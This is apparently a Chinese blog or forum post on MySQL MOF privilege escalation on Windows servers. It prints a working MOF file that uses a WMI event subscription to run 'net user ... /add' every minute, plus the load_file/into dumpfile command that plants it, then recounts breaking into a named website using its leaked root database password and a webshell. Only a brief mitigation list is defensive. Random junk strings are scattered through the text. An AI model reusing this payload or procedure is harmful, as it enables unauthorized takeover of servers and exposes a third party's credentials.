Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法

网上公开的一些利用代码:

: O/ y' q, Y0 O4 x#pragma namespace(“\\\\.\\root\\subscription”)

instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
4 \4 \/ A# j1 Z# }) I, ?, l  O




" ]4 S2 Q. P: b8 R7 a; }" z连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
7 Z5 W% D& A1 p& P8 ?6 t从上面代码来看得出解决办法：
- c8 [7 a5 f0 v5 J2 N" W# t) ?
1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

+ {' e3 \5 R2 d2 S, C% _( K2、禁止使用”WScript.Shel”组件

+ T( {0 p) ~/ ?0 e3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

6 o9 W6 ?6 z+ u" r当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
: F" L) U5 o6 b& Q
4 [# q, ^' E4 ]2 z2 z但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
* k- K6 h3 H0 S# F  q. i- O4 J
看懂了后就开始练手吧
1 b9 }4 }. u$ C, p3 b
http://www.webbmw.com/config/config_ucenter.php 一句话 a
. Y3 O8 z: [' O1 k9 m/ K. \
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
2 n5 ^2 S/ y" ?5 T9 K) S$ g6 u
于是直接用菜刀开搞

, ]: Y: n! d5 I4 N9 K上马先
3 ?) [, D" s/ H) }- c- f5 W, q; e. i# d
9 W/ ~6 J; \' Z* Y' ?' G既然有了那些账号 之类的 于是我们就执行吧…….

: \# y- t. W- ]- B. u; n) Q8 L小小的说下

在这里第1次执行未成功        原因未知
9 `- }; c; v- c
5 Z, t4 P1 _* g! X我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

. n! H+ r  K4 y2 [- q#pragma namespace(“\\\\.\\root\\subscription”)

# a. y; C! \+ s1 T. e: h/ o) qinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

1 [0 Z! ^" f. A. A$ H+ {' b我是将文件放到C:\WINDOWS\temp\1.mof
% m% K) a8 e# f' r0 F
所以我们就改下执行的代码
- Q& ]& y$ ]" _# @
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
' i5 J( J8 q5 O7 c  n


  R4 H  q7 I+ O' T但是 你会发现账号还是没有躺在那里。。
$ F: a% _% S8 {1 q6 a) M5 Z3 n
0 B; z& I* g* w* t3 {$ N3 G于是我就感觉蛋疼

+ Q, w3 d) [3 W# b" M4 a- w就去一个一个去执行 但是执行到第2个 mysql时就成功了………
5 X3 P. V; {4 A
5 ^7 k$ ]7 S9 j5 ~

但是其他库均不成功…
! O2 q+ S+ x  r! o$ o: r0 o/ s
我就很费解呀 到底为什么不成功求大牛解答…
0 u6 ~3 X" U& V- O! o& I
$ N0 y+ B+ G& |( J​